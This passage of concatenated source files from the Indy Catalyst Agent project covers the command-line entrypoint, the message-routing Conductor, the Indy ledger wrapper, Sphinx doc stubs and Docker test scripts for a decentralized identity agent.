my_env = os.environ.copy()
my_env["PYTHONPATH"] = python_path
# refer to REST callback service
if self.webhook_url:
my_env["WEBHOOK_URL"] = self.webhook_url
agent_args = self.get_process_args(scripts_dir)
# start agent sub-process
loop = asyncio.get_event_loop()
self.proc = await loop.run_in_executor(
None, self._process, agent_args, my_env, loop
)
if wait:
await self.detect_process()
def _terminate(self, loop):
if self.proc and self.proc.poll() is None:
self.proc.terminate()
try:
self.proc.wait(timeout=0.5)
self.log(f"Exited with return code {self.proc.returncode}", loop=loop)
except subprocess.TimeoutExpired:
msg = "Process did not terminate in time"
self.log(msg, loop=loop)
raise Exception(msg)
async def terminate(self):
loop = asyncio.get_event_loop()
if self.proc:
await loop.run_in_executor(None, self._terminate, loop)
await self.client_session.close()
if self.wh_site:
await self.wh_site.stop()
async def listen_webhooks(self, webhook_port):
self.webhook_port = webhook_port
self.webhook_url = f"http://{self.external_host}:{str(webhook_port)}/webhooks"
app = web.Application()
app.add_routes([web.post("/webhooks/topic/{topic}/", self._receive_webhook)])
runner = web.AppRunner(app)
await runner.setup()
self.wh_site = web.TCPSite(runner, "0.0.0.0", webhook_port)
await self.wh_site.start()
async def _receive_webhook(self, request: ClientRequest):
topic = request.match_info["topic"]
payload = await request.json()
await self.handle_webhook(topic, payload)
return web.HTTPOk()
async def handle_webhook(self, topic: str, payload):
pass
async def admin_GET(self, path, text=False):
async with self.client_session.get(self.admin_url + path) as resp:
return await (resp.text() if text else resp.json())
async def admin_POST(self, path, data=None, text=False):
async with self.client_session.post(self.admin_url + path, json=data) as resp:
return await (resp.text() if text else resp.json())
async def detect_process(self):
text = None
for i in range(10):
# wait for process to start and retrieve swagger content
await asyncio.sleep(2.0)
try:
async with self.client_session.get(
self.admin_url + "/api/docs/swagger.json"
) as resp:
if resp.status == 200:
text = await resp.text()
break
except ClientError:
text = None
continue
if not text:
raise Exception(f"Timed out waiting for agent process to start")
if "Indy Catalyst Agent" not in text:
raise Exception(f"Unexpected response from agent process")
async def fetch_timing(self):
status = await self.admin_GET("/status")
return status.get("timing")
def format_timing(self, timing: dict) -> dict:
result = []
for name, count in timing["count"].items():
result.append(
(
name[:35],
count,
timing["total"][name],
timing["avg"][name],
timing["min"][name],
timing["max"][name],
)
)
result.sort(key=lambda row: row[2], reverse=True)
yield "{:35} | {:>12} {:>12} {:>10} {:>10} {:>10}".format(
"", "count", "total", "avg", "min", "max"
)
yield "=" * 96
yield from (
"{:35} | {:12d} {:12.3f} {:10.3f} {:10.3f} {:10.3f}".format(*row)
for row in result
)
async def reset_timing(self):
await self.admin_POST("/status/reset", text=True)
<file_sep>/agent/indy_catalyst_agent/__init__.py
"""Entrypoint."""
import os
import argparse
import asyncio
from .conductor import Conductor
from .defaults import default_protocol_registry
from .logging import LoggingConfigurator
from .postgres import load_postgres_plugin
from .transport.inbound.base import InboundTransportConfiguration
PARSER = argparse.ArgumentParser(description="Runs an Indy Agent.")
PARSER.add_argument(
"-it",
"--inbound-transport",
dest="inbound_transports",
type=str,
action="append",
nargs=3,
required=True,
metavar=("<module>", "<host>", "<port>"),
help="Choose which interface(s) to listen on",
)
PARSER.add_argument(
"-ot",
"--outbound-transport",
dest="outbound_transports",
type=str,
action="append",
required=True,
metavar="<module>",
help="Choose which outbound transport handlers to register",
)
PARSER.add_argument(
"--logging-config",
dest="logging_config",
type=str,
metavar="<path-to-config>",
default=None,
help="Specifies a custom logging configuration file",
)
PARSER.add_argument(
"--log-level",
dest="log_level",
type=str,
metavar="<log-level>",
default=None,
help="Specifies a custom logging level "
+ "(debug, info, warning, error, critical)",
)
PARSER.add_argument(
"-e",
"--endpoint",
type=str,
metavar="<endpoint>",
help="Specify the default endpoint to use when "
+ "creating connection invitations and requests",
)
PARSER.add_argument(
"-l",
"--label",
type=str,
metavar="<label>",
help="Specify the default label to use when creating"
+ " connection invitations and requests",
)
PARSER.add_argument(
"--seed",
type=str,
metavar="<wallet-seed>",
help="Seed to use when creating the public DID",
)
PARSER.add_argument(
"--storage-type",
type=str,
metavar="<storage-type>",
help="Specify the storage implementation to use",
)
PARSER.add_argument(
"--wallet-key",
type=str,
metavar="<wallet-key>",
help="Specify the master key value to use when opening the wallet",
)
PARSER.add_argument(
"--wallet-name", type=str, metavar="<wallet-name>", help="Specify the wallet name"
)
PARSER.add_argument(
"--wallet-type",
type=str,
metavar="<wallet-type>",
help="Specify the wallet implementation to use",
)
PARSER.add_argument(
"--wallet-storage-type",
type=str,
metavar="<storage-type>",
help="Specify the wallet storage implementation to use",
)
PARSER.add_argument(
"--wallet-storage-config",
type=str,
metavar="<storage-config>",
help="Specify the storage configuration to use (required for postgres) "
+ 'e.g., \'{"url":"localhost:5432"}\'',
)
PARSER.add_argument(
"--wallet-storage-creds",
type=str,
metavar="<storage-creds>",
help="Specify the storage credentials to use (required for postgres) "
+ 'e.g., \'{"account":"postgres","password":"<PASSWORD>","admin_account":"postgres","admin_password":"<PASSWORD>"}\'',
)
PARSER.add_argument(
"--pool-name", type=str, metavar="<pool-name>", help="Specify the pool name"
)
PARSER.add_argument(
"--genesis-transactions",
type=str,
dest="genesis_transactions",
metavar="<genesis-transactions>",
help="Specify the genesis transactions as a string",
)
PARSER.add_argument(
"--admin",
type=str,
nargs=2,
metavar=("<host>", "<port>"),
help="Enable the administration API on a given host and port",
)
PARSER.add_argument("--debug", action="store_true", help="Enable debugging features")
PARSER.add_argument(
"--debug-seed",
dest="debug_seed",
type=str,
metavar="<debug-did-seed>",
help="Specify the debug seed to use",
)
PARSER.add_argument(
"--debug-connections",
action="store_true",
help="Enable additional logging around connections",
)
PARSER.add_argument(
"--accept-invites", action="store_true", help="Auto-accept connection invitations"
)
PARSER.add_argument(
"--accept-requests", action="store_true", help="Auto-accept connection requests"
)
PARSER.add_argument(
"--auto-ping-connection",
action="store_true",
help="Automatically send a trust ping when a connection response is accepted",
)
PARSER.add_argument(
"--auto-respond-messages",
action="store_true",
help="Auto-respond to basic messages",
)
PARSER.add_argument(
"--auto-respond-credential-offer",
action="store_true",
help="Auto-respond to credential offers with credential request",
)
PARSER.add_argument(
"--auto-respond-presentation-request",
action="store_true",
help="Auto-respond to presentation requests with a presentation "
+ "if exactly one credential exists to satisfy the request",
)
PARSER.add_argument(
"--auto-verify-presentation",
action="store_true",
help="Automatically verify a presentation when it is received",
)
PARSER.add_argument(
"--no-receive-invites",
action="store_true",
help="Disable the receive invitations administration function",
)
PARSER.add_argument(
"--help-link",
type=str,
metavar="<help-url>",
help="Define the help URL for the administration interface",
)
PARSER.add_argument(
"--invite",
action="store_true",
help="Generate and print a new connection invitation URL",
)
PARSER.add_argument(
"--send-invite",
type=str,
metavar="<agent-endpoint>",
help="Specify an endpoint to send an invitation to",
)
PARSER.add_argument(
"--timing",
action="store_true",
help="Including timing information in response messages",
)
async def start(
inbound_transport_configs: list, outbound_transports: list, settings: dict
):
"""Start."""
registry = default_protocol_registry()
conductor = Conductor(
inbound_transport_configs, outbound_transports, registry, settings
)
await conductor.start()
def main():
"""Entrypoint."""
args = PARSER.parse_args()
settings = {}
inbound_transport_configs = []
inbound_transports = args.inbound_transports
for transport in inbound_transports:
module = transport[0]
host = transport[1]
port = transport[2]
inbound_transport_configs.append(
InboundTransportConfiguration(module=module, host=host, port=port)
)
outbound_transports = args.outbound_transports
logging_config = args.logging_config
log_level = args.log_level or os.getenv("LOG_LEVEL")
LoggingConfigurator.configure(logging_config, log_level)
if args.endpoint:
settings["default_endpoint"] = args.endpoint
if args.label:
settings["default_label"] = args.label
if args.genesis_transactions:
settings["ledger.genesis_transactions"] = args.genesis_transactions
if args.storage_type:
settings["storage.type"] = args.storage_type
if args.seed:
settings["wallet.seed"] = args.seed
if args.wallet_key:
settings["wallet.key"] = args.wallet_key
if args.wallet_name:
settings["wallet.name"] = args.wallet_name
if args.wallet_storage_type:
settings["wallet.storage_type"] = args.wallet_storage_type
if args.wallet_type:
settings["wallet.type"] = args.wallet_type
# load postgres plug-in here
# TODO where should this live?
if args.wallet_storage_type == "postgres_storage":
load_postgres_plugin()
if args.wallet_storage_config:
settings["wallet.storage_config"] = args.wallet_storage_config
if args.wallet_storage_creds:
settings["wallet.storage_creds"] = args.wallet_storage_creds
if args.admin:
settings["admin.enabled"] = True
settings["admin.host"] = args.admin[0]
settings["admin.port"] = args.admin[1]
if args.help_link:
settings["admin.help_link"] = args.help_link
if args.no_receive_invites:
settings["admin.no_receive_invites"] = True
if args.debug:
settings["debug.enabled"] = True
if args.debug_connections:
settings["debug.connections"] = True
if args.debug_seed:
settings["debug.seed"] = args.debug_seed
if args.invite:
settings["debug.print_invitation"] = True
if args.send_invite:
settings["debug.send_invitation_to"] = args.send_invite
if args.auto_respond_credential_offer:
settings["auto_respond_credential_offer"] = True
if args.auto_respond_presentation_request:
settings["auto_respond_presentation_request"] = True
if args.auto_verify_presentation:
settings["auto_verify_presentation"] = True
if args.accept_invites:
settings["accept_invites"] = True
if args.accept_requests:
settings["accept_requests"] = True
if args.auto_ping_connection:
settings["auto_ping_connection"] = True
if args.auto_respond_messages:
settings["debug.auto_respond_messages"] = True
if args.timing:
settings["timing.enabled"] = True
loop = asyncio.get_event_loop()
try:
# asyncio.ensure_future(
# start(inbound_transport_configs, outbound_transports, settings), loop=loop
# )
loop.run_until_complete(
start(inbound_transport_configs, outbound_transports, settings)
)
loop.run_forever()
except KeyboardInterrupt:
print("\nShutting down")
if __name__ == "__main__":
main() # pragma: no cover
<file_sep>/agent/docs/indy_catalyst_agent.transport.tests.rst
indy\_catalyst\_agent.transport.tests package
=============================================
Submodules
----------
indy\_catalyst\_agent.transport.tests.test\_http module
-------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.tests.test_http
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.transport.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.connections.handlers.rst
indy\_catalyst\_agent.messaging.connections.handlers package
============================================================
Submodules
----------
indy\_catalyst\_agent.messaging.connections.handlers.connection\_invitation\_handler module
-------------------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.handlers.connection_invitation_handler
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.connections.handlers.connection\_request\_handler module
----------------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.handlers.connection_request_handler
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.connections.handlers.connection\_response\_handler module
-----------------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.connections.handlers.connection_response_handler
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.connections.handlers
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docker/Dockerfile.test-indy
FROM bcgovimages/von-image:py36-1.9-0
USER indy
RUN mkdir src test-reports
WORKDIR /home/indy/src
ADD requirements.txt requirements.dev.txt ./
RUN pip3 install --no-cache-dir \
-r requirements.txt \
-r requirements.dev.txt \
pytest
ADD --chown=indy:root . .
ENTRYPOINT ["/bin/bash", "-c", "pytest \"$@\"", "--"]
<file_sep>/agent/indy_catalyst_agent/conductor.py
"""
The Conductor.
The conductor is responsible for coordinating messages that are received
over the network, communicating with the ledger, passing messages to handlers,
instantiating concrete implementations of required modules and storing data in the
wallet.
"""
import asyncio
from collections import OrderedDict
import logging
from typing import Coroutine, Sequence, Union
from .admin.server import AdminServer
from .admin.service import AdminService
from .cache.base import BaseCache
from .cache.basic import BasicCache
from .config.injection_context import InjectionContext
from .config.provider import CachedProvider, ClassProvider, StatsProvider
from .dispatcher import Dispatcher
from .error import StartupError
from .logging import LoggingConfigurator
from .ledger.base import BaseLedger
from .ledger.provider import LedgerProvider
from .issuer.base import BaseIssuer
from .holder.base import BaseHolder
from .verifier.base import BaseVerifier
from .messaging.actionmenu.base_service import BaseMenuService
from .messaging.actionmenu.driver_service import DriverMenuService
from .messaging.connections.manager import ConnectionManager, ConnectionManagerError
from .messaging.connections.models.connection_record import ConnectionRecord
from .messaging.error import MessageParseError, MessagePrepareError
from .messaging.introduction.base_service import BaseIntroductionService
from .messaging.introduction.demo_service import DemoIntroductionService
from .messaging.outbound_message import OutboundMessage
from .messaging.protocol_registry import ProtocolRegistry
from .messaging.request_context import RequestContext
from .messaging.serializer import MessageSerializer
from .messaging.socket import SocketInfo, SocketRef
from .messaging.util import init_webhooks
from .stats import Collector
from .storage.base import BaseStorage
from .storage.error import StorageNotFoundError
from .storage.provider import StorageProvider
from .transport.inbound.base import InboundTransportConfiguration
from .transport.inbound.manager import InboundTransportManager
from .transport.outbound.manager import OutboundTransportManager
from .transport.outbound.queue.basic import BasicOutboundMessageQueue
from .wallet.base import BaseWallet
from .wallet.provider import WalletProvider
from .wallet.crypto import seed_to_did
class Conductor:
"""
Conductor class.
Class responsible for initializing concrete implementations
of our require interfaces and routing inbound and outbound message data.
"""
def __init__(
self,
inbound_transports: Sequence[InboundTransportConfiguration],
outbound_transports: Sequence[str],
protocol_registry: ProtocolRegistry,
settings: dict,
) -> None:
"""
Initialize an instance of Conductor.
Args:
inbound_transports: Configuration for inbound transports
outbound_transports: Configuration for outbound transports
protocol_registry: Protocol registry for indexing message types
settings: Dictionary of various settings
"""
self.admin_server = None
self.collector: Collector = None
self.context: RequestContext = None
self.dispatcher: Dispatcher = None
self.logger = logging.getLogger(__name__)
self.protocol_registry = protocol_registry
self.message_serializer: MessageSerializer = MessageSerializer()
self.inbound_transport_configs = inbound_transports
self.inbound_transport_manager = InboundTransportManager()
# TODO: Set queue driver dynamically via cli args
self.outbound_transport_manager = OutboundTransportManager(
BasicOutboundMessageQueue
)
self.outbound_transports = outbound_transports
self.settings = settings.copy() if settings else {}
self.sockets = OrderedDict()
self.init_context()
def init_context(self):
"""Initialize the global request context."""
context = RequestContext(settings=self.settings)
context.settings.set_default("default_label", "Indy Catalyst Agent")
if context.settings.get("timing.enabled"):
self.collector = Collector()
context.injector.bind_instance(Collector, self.collector)
self.collector.wrap(
self,
(
"inbound_message_router",
"outbound_message_router",
"prepare_outbound_message",
),
)
self.collector.wrap(
self.message_serializer,
("encode_message", "parse_message")
)
# at the class level (!) should not be done multiple times
self.collector.wrap(
ConnectionManager,
(
"get_connection_target",
"fetch_did_document",
"find_connection",
"updated_record",
)
)
context.injector.bind_instance(BaseCache, BasicCache())
context.injector.bind_instance(ProtocolRegistry, self.protocol_registry)
context.injector.bind_instance(MessageSerializer, self.message_serializer)
context.injector.bind_provider(
BaseStorage,
CachedProvider(
StatsProvider(
StorageProvider(),
("add_record", "get_record", "search_records")
)
),
)
context.injector.bind_provider(
BaseWallet,
CachedProvider(
StatsProvider(
WalletProvider(),
(
"create",
"open",
"sign_message",
"verify_message",
"encrypt_message",
"decrypt_message",
"pack_message",
"unpack_message",
"get_local_did",
),
)
),
)
context.injector.bind_provider(
BaseLedger,
CachedProvider(
StatsProvider(
LedgerProvider(),
(
"get_credential_definition",
"get_schema",
"send_credential_definition",
"send_schema",
)
)
),
)
context.injector.bind_provider(
BaseIssuer,
StatsProvider(
ClassProvider(
"indy_catalyst_agent.issuer.indy.IndyIssuer",
ClassProvider.Inject(BaseWallet),
),
("create_credential_offer", "create_credential")
)
)
context.injector.bind_provider(
BaseHolder,
StatsProvider(
ClassProvider(
"indy_catalyst_agent.holder.indy.IndyHolder",
ClassProvider.Inject(BaseWallet),
),
("get_credential", "store_credential", "create_credential_request"),
),
)
context.injector.bind_provider(
BaseVerifier,
ClassProvider(
"indy_catalyst_agent.verifier.indy.IndyVerifier",
ClassProvider.Inject(BaseWallet),
),
)
# Allow action menu to be provided by driver
context.injector.bind_instance(BaseMenuService, DriverMenuService(context))
context.injector.bind_instance(
BaseIntroductionService, DemoIntroductionService(context)
)
# Admin API
if context.settings.get("admin.enabled"):
try:
admin_host = context.settings.get("admin.host", "0.0.0.0")
admin_port = context.settings.get("admin.port", "80")
self.admin_server = AdminServer(
admin_host, admin_port, context, self.outbound_message_router
)
context.injector.bind_instance(AdminServer, self.admin_server)
except Exception:
self.logger.exception("Unable to initialize administration API")
self.context = context
self.dispatcher = Dispatcher(self.context)
if self.collector:
self.collector.wrap(self.dispatcher, "dispatch")
async def start(self) -> None:
"""Start the agent."""
context = self.context
wallet: BaseWallet = await context.inject(BaseWallet)
wallet_seed = context.settings.get("wallet.seed")
public_did_info = await wallet.get_public_did()
public_did = None
if public_did_info:
public_did = public_did_info.did
# If we already have a registered public did and it doesn't match
# the one derived from `wallet_seed` then we error out.
# TODO: Add a command to change public did explicitly
if seed_to_did(wallet_seed) != public_did_info.did:
raise StartupError(
"New seed provided which doesn't match the registered"
+ f" public did {public_did_info.did}"
)
elif wallet_seed:
public_did_info = await wallet.create_public_did(seed=wallet_seed)
public_did = public_did_info.did
# Register all inbound transports
for inbound_transport_config in self.inbound_transport_configs:
module = inbound_transport_config.module
host = inbound_transport_config.host
port = inbound_transport_config.port
self.inbound_transport_manager.register(
module, host, port, self.inbound_message_router, self.register_socket
)
await self.inbound_transport_manager.start_all()
for outbound_transport in self.outbound_transports:
try:
self.outbound_transport_manager.register(outbound_transport)
except Exception:
self.logger.exception("Unable to register outbound transport")
await self.outbound_transport_manager.start_all()
await init_webhooks(context)
# Admin API
if self.admin_server:
try:
await self.admin_server.start()
context.injector.bind_instance(
AdminService, AdminService(self.admin_server)
)
except Exception:
self.logger.exception("Unable to start administration API")
# Show some details about the configuration to the user
LoggingConfigurator.print_banner(
self.inbound_transport_manager.transports,
self.outbound_transport_manager.registered_transports,
public_did,
self.admin_server,
)
# Debug settings
test_seed = context.settings.get("debug.seed")
if context.settings.get("debug.enabled"):
if not test_seed:
test_seed = "testseed000000000000000000000001"
if test_seed:
await wallet.create_local_did(test_seed)
# Print an invitation to the terminal
if context.settings.get("debug.print_invitation"):
try:
mgr = ConnectionManager(self.context)
_connection, invitation = await mgr.create_invitation()
invite_url = invitation.to_url()
print("Invitation URL:")
print(invite_url)
except Exception:
self.logger.exception("Error sending invitation")
# Auto-send an invitation to another agent
send_invite_to = context.settings.get("debug.send_invitation_to")
if send_invite_to:
try:
mgr = ConnectionManager(self.context)
_connection, invitation = await mgr.create_invitation()
await mgr.send_invitation(invitation, send_invite_to)
except Exception:
self.logger.exception("Error sending invitation")
async def register_socket(
self, *, handler: Coroutine = None, single_response: asyncio.Future = None
) -> SocketRef:
"""Register a new duplex connection."""
socket = SocketInfo(handler=handler, single_response=single_response)
socket_id = socket.socket_id
self.sockets[socket_id] = socket
async def close_socket():
socket.closed = True
return SocketRef(socket_id=socket_id, close=close_socket)
async def inbound_message_router(
self,
message_body: Union[str, bytes],
transport_type: str = None,
socket_id: str = None,
single_response: asyncio.Future = None,
) -> asyncio.Future:
"""
Route inbound messages.
Args:
message_body: Body of the incoming message
transport_type: Type of transport this message came from
socket_id: The identifier of the incoming socket connection
single_response: A future to contain the first direct response message
"""
try:
parsed_msg, delivery = await self.message_serializer.parse_message(
self.context, message_body, transport_type
)
except MessageParseError:
self.logger.exception("Error expanding message")
raise
connection_mgr = ConnectionManager(self.context)
connection = await connection_mgr.find_message_connection(delivery)
if connection:
delivery.connection_id = connection.connection_id
if single_response and not socket_id:
socket = SocketInfo(single_response=single_response)
socket_id = socket.socket_id
self.sockets[socket_id] = socket
if socket_id:
if socket_id not in self.sockets:
self.logger.warning(
"Inbound message on unregistered socket ID: %s", socket_id
)
socket_id = None
elif self.sockets[socket_id].closed:
self.logger.warning(
"Inbound message on closed socket ID: %s", socket_id
)
socket_id = None
delivery.socket_id = socket_id
socket = self.sockets[socket_id] if socket_id else None
if socket:
socket.process_incoming(parsed_msg, delivery)
elif (
delivery.direct_response_requested
and delivery.direct_response_requested != SocketInfo.REPLY_MODE_NONE
):
self.logger.warning(
"Direct response requested, but not supported by transport: %s",
delivery.transport_type,
)
complete = await self.dispatcher.dispatch(
parsed_msg, delivery, connection, self.outbound_message_router
)
if socket:
complete.add_done_callback(lambda fut: socket.dispatch_complete())
return complete
async def prepare_outbound_message(
self, message: OutboundMessage, context: InjectionContext = None
):
"""Prepare a response message for transmission.
Args:
message: An outbound message to be sent
context: Optional request context
"""
context = context or self.context
if message.connection_id and not message.target:
try:
record = await ConnectionRecord.retrieve_by_id(
context, message.connection_id
)
except StorageNotFoundError as e:
raise MessagePrepareError(
"Could not locate connection record: {}".format(
message.connection_id
)
) from e
mgr = ConnectionManager(context)
try:
target = await mgr.get_connection_target(record)
except ConnectionManagerError as e:
raise MessagePrepareError(str(e)) from e
if not target:
raise MessagePrepareError(
"No connection target for message: {}".format(message.connection_id)
)
message.target = target
if not message.encoded and message.target:
target = message.target
message.payload = await self.message_serializer.encode_message(
context,
message.payload,
target.recipient_keys,
target.routing_keys,
target.sender_key,
)
message.encoded = True
async def outbound_message_router(
self, message: OutboundMessage, context: InjectionContext = None
) -> None:
"""
Route an outbound message.
Args:
message: An outbound message to be sent
context: Optional request context
"""
try:
await self.prepare_outbound_message(message, context)
except MessagePrepareError:
self.logger.exception("Error preparing outbound message for transmission")
return
# try socket connections first, preferring the same socket ID
socket_id = message.reply_socket_id
sel_socket = None
if (
socket_id
and socket_id in self.sockets
and self.sockets[socket_id].select_outgoing(message)
):
sel_socket = self.sockets[socket_id]
else:
for socket in self.sockets.values():
if socket.select_outgoing(message):
sel_socket = socket
break
if sel_socket:
await sel_socket.send(message)
self.logger.debug("Returned message to socket %s", sel_socket.socket_id)
return
# deliver directly to endpoint
if message.endpoint:
await self.outbound_transport_manager.send_message(message)
return
self.logger.warning("No endpoint or direct route for outbound message, dropped")
<file_sep>/agent/indy_catalyst_agent/ledger/indy.py
"""Indy ledger implementation."""
import asyncio
import json
import logging
import re
import tempfile
from os import path
from typing import Sequence
import indy.anoncreds
import indy.ledger
import indy.pool
from indy.error import IndyError, ErrorCode
from ..cache.base import BaseCache
from ..wallet.base import BaseWallet
from .base import BaseLedger
from .error import ClosedPoolError, LedgerTransactionError, DuplicateSchemaError
GENESIS_TRANSACTION_PATH = tempfile.gettempdir()
GENESIS_TRANSACTION_PATH = path.join(
GENESIS_TRANSACTION_PATH, "indy_genesis_transactions.txt"
)
class IndyLedger(BaseLedger):
"""Indy ledger class."""
def __init__(
self,
name: str,
wallet: BaseWallet,
genesis_transactions,
*,
keepalive: int = 0,
cache: BaseCache = None,
cache_duration: int = 600,
):
"""
Initialize an IndyLedger instance.
Args:
wallet: IndyWallet instance
genesis_transactions: String of genesis transactions
keepalive: How many seconds to keep the ledger open
"""
self.logger = logging.getLogger(__name__)
self.created = False
self.opened = False
self.ref_count = 0
self.ref_lock = asyncio.Lock()
self.keepalive = keepalive
self.close_task: asyncio.Future = None
self.name = name
self.cache = cache
self.cache_duration = cache_duration
self.wallet = wallet
self.pool_handle = None
# TODO: ensure wallet type is indy
# indy-sdk requires a file but it's only used once to bootstrap
# the connection so we take a string instead of create a tmp file
with open(GENESIS_TRANSACTION_PATH, "w") as genesis_file:
genesis_file.write(genesis_transactions)
async def create(self):
"""Create the pool ledger, if necessary."""
pool_config = json.dumps({"genesis_txn": GENESIS_TRANSACTION_PATH})
# We only support proto ver 2
await indy.pool.set_protocol_version(2)
self.logger.debug("Creating pool ledger...")
try:
await indy.pool.create_pool_ledger_config(self.name, pool_config)
except IndyError as error:
if error.error_code == ErrorCode.PoolLedgerConfigAlreadyExistsError:
self.logger.debug("Pool ledger already created.")
else:
raise
self.created = True
async def open(self):
"""Open the pool ledger, creating it if necessary."""
if not self.created:
await self.create()
# TODO: allow ledger config in init?
self.pool_handle = await indy.pool.open_pool_ledger(self.name, "{}")
self.opened = True
async def close(self):
"""Close the pool ledger."""
if self.opened:
await indy.pool.close_pool_ledger(self.pool_handle)
self.pool_handle = None
self.opened = False
async def _context_open(self):
"""Open the wallet if necessary and increase the number of active references."""
async with self.ref_lock:
if self.close_task:
self.close_task.cancel()
if not self.opened:
self.logger.debug("Opening the pool ledger")
await self.open()
self.ref_count += 1
async def _context_close(self):
"""Release the wallet reference and schedule closing of the pool ledger."""
async def closer(timeout: int):
"""Close the pool ledger after a timeout."""
await asyncio.sleep(timeout)
async with self.ref_lock:
if not self.ref_count:
self.logger.debug("Closing pool ledger after timeout")
await self.close()
async with self.ref_lock:
self.ref_count -= 1
if not self.ref_count:
if self.keepalive:
self.close_task = asyncio.ensure_future(closer(self.keepalive))
else:
await self.close()
async def __aenter__(self) -> "IndyLedger":
"""
Context manager entry.
Returns:
The current instance
"""
await self._context_open()
return self
async def __aexit__(self, exc_type, exc, tb):
"""Context manager exit."""
await self._context_close()
async def _submit(self, request_json: str, sign=True) -> str:
"""
Sign and submit request to ledger.
Args:
request_json: The json string to submit
sign: whether or not to sign the request
"""
if not self.pool_handle:
raise ClosedPoolError(
"Cannot sign and submit request to closed pool {}".format(self.name)
)
public_did = await self.wallet.get_public_did()
if sign:
request_result_json = await indy.ledger.sign_and_submit_request(
self.pool_handle, self.wallet.handle, public_did.did, request_json
)
else:
request_result_json = await indy.ledger.submit_request(
self.pool_handle, request_json
)
request_result = json.loads(request_result_json)
operation = request_result.get("op", "")
# HACK: If only there were a better way to identify this kind
# of rejected request...
if (
"can have one and only one SCHEMA with name schema and version"
in request_result_json
):
raise DuplicateSchemaError()
if operation in ("REQNACK", "REJECT"):
raise LedgerTransactionError(
f"Ledger rejected transaction request: {request_result['reason']}"
)
elif operation == "REPLY":
return request_result_json
else:
raise LedgerTransactionError(
f"Unexpected operation code from ledger: {operation}"
)
async def send_schema(
self, schema_name: str, schema_version: str, attribute_names: Sequence[str]
):
"""
Send schema to ledger.
Args:
schema_name: The schema name
schema_version: The schema version
attribute_names: A list of schema attributes
"""
public_did = await self.wallet.get_public_did()
schema_id, schema_json = await indy.anoncreds.issuer_create_schema(
public_did.did, schema_name, schema_version, json.dumps(attribute_names)
)
request_json = await indy.ledger.build_schema_request(
public_did.did, schema_json
)
try:
await self._submit(request_json)
except DuplicateSchemaError as e:
self.logger.warn(
"Schema already exists on ledger. Returning ID. " + f"Error: {str(e)}"
)
schema_id = f"{public_did.did}:{2}:{schema_name}:{schema_version}"
return schema_id
async def get_schema(self, schema_id: str):
"""
Get a schema from the cache if available, otherwise fetch from the ledger.
Args:
schema_id: The schema id to retrieve
"""
if self.cache:
result = await self.cache.get(f"schema::{schema_id}")
if result:
return result
return await self.fetch_schema(schema_id)
async def fetch_schema(self, schema_id: str):
"""
Get schema from ledger.
Args:
schema_id: The schema id to retrieve
"""
public_did = await self.wallet.get_public_did()
request_json = await indy.ledger.build_get_schema_request(
public_did.did, schema_id
)
response_json = await self._submit(request_json)
_, parsed_schema_json = await indy.ledger.parse_get_schema_response(
response_json
)
parsed_response = json.loads(parsed_schema_json)
if parsed_response and self.cache:
await self.cache.set(
f"schema::{schema_id}", parsed_response, self.cache_duration
)
return parsed_response
async def send_credential_definition(self, schema_id: str, tag: str = "default"):
"""
Send credential definition to ledger and store relevant key matter in wallet.
Args:
schema_id: The schema id of the schema to create cred def for
tag: Option tag to distinguish multiple credential definitions
"""
public_did = await self.wallet.get_public_did()
schema = await self.get_schema(schema_id)
# TODO: add support for tag, sig type, and config
try:
(
credential_definition_id,
credential_definition_json,
) = await indy.anoncreds.issuer_create_and_store_credential_def(
self.wallet.handle,
public_did.did,
json.dumps(schema),
tag,
"CL",
json.dumps({"support_revocation": False}),
)
# If the cred def already exists in the wallet, we need some way of obtaining
# that cred def id (from schema id passed) since we can now assume we can use
# it in future operations.
except IndyError as error:
if error.error_code == ErrorCode.AnoncredsCredDefAlreadyExistsError:
try:
cred_def_id = re.search(r"\w*:\d*:CL:\d*:\w*", error.message).group(
0
)
return cred_def_id
# The regex search failed so let the error bubble up
except AttributeError:
raise error
else:
raise
request_json = await indy.ledger.build_cred_def_request(
public_did.did, credential_definition_json
)
await self._submit(request_json)
# TODO: validate response
return credential_definition_id
async def get_credential_definition(self, credential_definition_id: str):
"""
Get a credential definition from the cache if available, otherwise the ledger.
Args:
credential_definition_id: The schema id of the schema to fetch cred def for
"""
if self.cache:
result = await self.cache.get(
f"credential_definition::{credential_definition_id}"
)
if result:
return result
return await self.fetch_credential_definition(credential_definition_id)
async def fetch_credential_definition(self, credential_definition_id: str):
"""
Get a credential definition from the ledger by id.
Args:
credential_definition_id: The schema id of the schema to fetch cred def for
"""
public_did = await self.wallet.get_public_did()
request_json = await indy.ledger.build_get_cred_def_request(
public_did.did, credential_definition_id
)
response_json = await self._submit(request_json)
(
_,
parsed_credential_definition_json,
) = await indy.ledger.parse_get_cred_def_response(response_json)
parsed_response = json.loads(parsed_credential_definition_json)
if parsed_response and self.cache:
await self.cache.set(
f"credential_definition::{credential_definition_id}",
parsed_response,
self.cache_duration,
)
return parsed_response
<file_sep>/agent/docs/indy_catalyst_agent.transport.outbound.queue.rst
indy\_catalyst\_agent.transport.outbound.queue package
======================================================
Submodules
----------
indy\_catalyst\_agent.transport.outbound.queue.base module
----------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.queue.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.outbound.queue.basic module
-----------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.outbound.queue.basic
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.transport.outbound.queue
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/scripts/run_tests
#!/bin/sh
cd $(dirname $0)
docker build -t indy-cat-test -f ../docker/Dockerfile.test .. || exit 1
# on Windows, docker run needs to be prefixed by winpty
if [[ "$OSTYPE" == "msys" ]]; then
winpty docker run --rm -ti --name indy-cat-runner indy-cat-test "$@"
else
docker run --rm -ti --name indy-cat-runner indy-cat-test "$@"
fi
